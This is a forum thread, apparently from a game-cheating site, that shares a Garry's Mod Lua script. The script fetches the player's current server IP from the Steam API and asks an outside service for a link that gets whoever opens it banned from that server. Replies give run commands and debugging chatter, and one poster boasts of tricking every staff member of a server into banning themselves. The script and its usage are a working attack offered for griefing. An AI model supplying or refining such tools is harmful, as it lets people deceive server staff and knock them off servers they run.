Source Ban linky thing lua script

Posts 1–15 of 15 · Page 1 of 1
Source Ban linky thing lua script
I found this on my old hard drive...

Probably a yearish old now?

Uses kawaii source banner and steam api.

Have fun.

Code:
local apikey = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" -- get a key @ http://steamcommunity.com/dev/apikey

print("Yo.")
print("Retrieving link...")
http.Fetch("http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key="..apikey.."&steamids="..LocalPlayer():SteamID64(), function(data)
	print("Got your data...")
	local swag = util.JSONToTable(data)
	local ip = swag["response"]["players"][1]["gameserverip"]
	print("ip = "..ip)
	http.Fetch("http://www.kawaii.gdaap.com/api.php?ip="..ip,function(******)
		print("Don't go to "..******)
		SetClipboardText(******)
	end)
end)
Pastebin here: http://pastebin.com/3fNfvqcy

- fiire
ELI5: What is this and what does it do? Cheers.
Quote Originally Posted by z346etn56jzd7egth View Post
It will generate a link and copy it to your clipboard, when someone goes to that link, they get IP banned from the server.
Wait so it's pretty much an auto-ban from any server when they click on the link?
So do you just run the lua in console like 'lua_openscript_cl *Scriptname*.lau' or is another way?
Quote Originally Posted by ManateeMob View Post
So do you just run the lua in console like 'lua_openscript_cl *Scriptname*.lau' or is another way?
In console do:
Code:
> lua_openscript_cl *scriptname*.lua
Then it will say something like this:
Code:
> Yo.
> Retrieving link....
> Got your data...
> ip = <server ip here>
> Don't go to <link here>
The link will automatically be copied to your keyboard. Then you trick a scrub into clicking it and he will be rcon banned. The other day I got every single staff member banned from a jailbreak server.
I tried this but this error keeps showing up.

[ERROR] lua/includes/init.lua:8: attempt to index local 'swag' (a nil value)
1. onsuccess - lua/includes/init.lua:8
2. unknown - lua/includes/modules/http.lua:34
How do you get an API key without owning a domain?
How do we insert the API key in and public profile? I'm a newb
Do I need to change anything in the script?
[ERROR] lua/includes/init.lua:9: attempt to concatenate local 'ip' (a nil value)
1. onsuccess - lua/includes/init.lua:9
2. unknown - lua/includes/modules/http.lua:34
thanks hafnium for ur greate cheats im on hf btw im the guy who said vouch for hafnium
Still work?

EDIT: 18/2/15 Working perfect, Spot on lads. GREAT BANTER!
Posts 1–15 of 15 · Page 1 of 1
This thread is closed for replies.

Similar Threads

Tags for this Thread

None

Talk with us